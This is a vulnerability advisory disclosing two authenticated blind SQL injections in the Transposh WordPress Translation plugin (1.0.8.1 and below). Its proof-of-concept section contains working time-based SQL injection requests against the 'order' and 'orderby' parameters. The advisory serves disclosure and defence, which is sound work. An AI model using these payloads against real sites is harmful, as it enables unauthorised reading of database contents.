1. ADVISORY INFORMATION
=======================
Product:        Transposh WordPress Translation
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type:           Improper Authorization [CWE-285]
Date found:     2022-02-21
Date published: 2022-07-22

2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below


4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The WordPress plugin's "tp_editor" page at "/wp-admin/admin.php?page=tp_editor" is
vulnerable to two authenticated, blind SQL Injections when user-supplied input to
the HTT GET parameters "order" and "orderby" is processed by the web application.

Since the application does not properly validate and sanitize these parameters, an
attacker with the role "Administrator" is able to inject arbitrary SQL commands
against the backend database server of the web application.

Successful exploits can allow the attacker to access the WordPress backend
database and thereby read sensitive contents. This is specifically relevant in
multi-site installations.


6. PROOF OF CONCEPT
===================
To exploit the "order" parameter:

GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close

To exploit the "orderby" parameter:

GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&order=asc HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close


7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.
